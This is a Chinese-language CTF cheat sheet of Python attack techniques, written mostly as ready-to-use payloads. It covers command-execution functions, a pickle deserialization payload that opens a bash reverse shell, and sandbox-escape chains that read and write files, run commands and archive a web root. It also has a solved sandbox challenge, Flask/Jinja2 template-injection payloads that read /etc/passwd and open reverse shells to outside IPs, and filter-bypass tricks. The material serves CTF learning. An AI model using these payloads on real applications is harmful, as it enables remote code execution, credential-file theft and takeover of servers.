CTF 中的 Python 漏洞总结

执行命令的函数

1
2
3
4
5
6
7
8
import platform
platform.popen('ipconfig').read()

import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()

import os
os.system('ls')

反序列化

Python2.7和3.5默认使用的序列化格式有所区别,一般带有括号和换行的序列化数据是2.7使用的,而包含\x00的一般是3.5使用的。windows 和 linux 反序列化的数据是不同的

1
2
3
4
# windows, 第二行是操作系统nt
(lp1\ncnt\nsystem...
# linux, 第二行是操作系统posix
(lp1\ncposix\nsystem...

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# encoding: utf-8
import os
import pickle
class test(object):
def __reduce__(self):
code='bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"'
return (os.system,(code,))
a=test()
c=pickle.dumps(a)
print c
pickle.loads(c)

Python 沙盒绕过

以下代码是在Python 2.7环境下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# read 函数,读文件
().__class__.__bases__[0].__subclasses__()[40]('abc.php').read()
# write 函数,写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# 执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
# 通过 system 执行任意命令
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('id')
# 通过 popen 执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('id').read()
# 打包文件
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('tar -czvf /tmp/www.tar.gz /home/ctf/www').read()
# base64 编码读取文件
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('base64 /tmp/www.tar.gz').read()

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python2.7 -u

from sys import modules
modules.clear()
del modules

_raw_input = raw_input
_BaseException = BaseException
_EOFError = EOFError

__builtins__.__dict__.clear()
__builtins__ = None

print 'Get a shell, if you can...'

while 1:
try:
d = {'x':None}
exec 'x='+_raw_input()[:50] in d
print 'Return Value:', d['x']
except _EOFError, e:
raise e
except _BaseException, e:
print 'Exception:', e

payloads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('id');
data = [
"""1;__builtins__['a']=[].__class__.__base__""",
"""1;__builtins__['b']=a.__subclasses__()[59]""",
"""1;__builtins__['c']=b.__init__.__globals__""",
"""1;__builtins__['d']=c['linecache'].__dict__""",
"""1;__builtins__['e']=d['os'].system""",
"""1;x=e('ls')""",
]

for x in data:
try:
d = {'x':None}
# exec 'xxx' in d,表示将 d 这个字典作为全局变量的空间,但是默认会有 __builtins__ 这个变量,不会以因为每次重置 d 而丢失
exec 'x='+x[:50] in d
print 'Return Value:', d['x']
except _EOFError, e:
raise e
except _BaseException, e:
print 'Exception:', e

Flask/Jinja2模板注入

验证漏洞

1
2
3
http://192.168.1.10/{{1+2}}
http://192.168.1.10/?name={{1+2}}
http://192.168.1.10/?name={{1^0}}

获取一些内置的变量信息

1
2
3
4
# Flask模版中的一个全局对象,包含了应用程序的配置值
{{config}}
# 与服务器环境相关的对象字典
{{request.environ}}

payloads

Python2.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 读文件
''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read()
# 写文件
''.__class__.__mro__[2].__subclasses__()[40]('2.txt','w').write('Write it!')
# 读文件,base64编码
''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read().encode('base64')
# 通过 subprocess.Popen 执行 shell 命令
''['__class__']['__mro__'].__getitem__(2)['__subclasses__']()[230](['ls', '-al', '/home'],stdout=-1)['communicate']()
# 通过 os.popen 执行 shell 命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].os.popen('id').read()

# eval python code __import__("sys").version
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__.eval([].__class__.__base__.__subclasses__()[6]([95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 115, 121, 115, 34, 41, 46, 118, 101, 114, 115, 105, 111, 110]).__str__()

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, 'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

Python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 读写文件
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

# 得到eval函数
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']
# 读写文件
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("open('/etc/passwd').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()
# 执行命令
# 得到system,system执行命令不会有回显
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.['__builtins__']['__import__']('subprocess').Popen(['cat', '/etc/passwd']).read()
# 反弹shell
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('bash -c "bash -i >& /dev/tcp/192.168.85.146/4545 0>&1"')

绕过过滤

1
2
3
{(''|attr('__class__')}},{(''['__class__'])}}
# 等价于
{{''.__class__}}
  • 空格可以用tab(%09)绕过
  • | 后不允许接a-z可以用%0c,tab等绕过
  • os可以通过python中exec绕过

如果过滤仅限于 request.args 但是不允许 post,简单的办法是可以用request.cookies来绕过

当要调用对象的方法如下

1
2
3
4
5
>>> dir([]).__class__
<type 'list'>
>>> [].__class__
<type 'list'>
>>> dir([])['__class__']

但是flask和django的模板注入还有一种内置方法

1
request.__class__ 效果等于 request|attr('__class__')

通过参数引入字符串

1
/?secret={{request.args.class.join((request.args.usc*2,request.args.usc*2))}}&usc=_&class=class

通过设定变量提前创建好变量

1
/?secret={%set%09class=request.args.class.join((request.args.usc*2,request.args.usc*2))%}{{class}}&usc=_&class=class

格式化字符串漏洞

利用字符串 format 的漏洞,如果格式化字符串的内容可以被控制,就能输出一些敏感信息,但是无法执行命令

1
2
3
4
5
6
7
8
9
10
11
class User(object):
def __init__(self, name):
self.name = name

# a == joe
input_t = '{0.name}'
a = input_t.format(User('joe'))

# a == joe
input_t = '{user.name}'
a = input_t.format(user=User('joe'))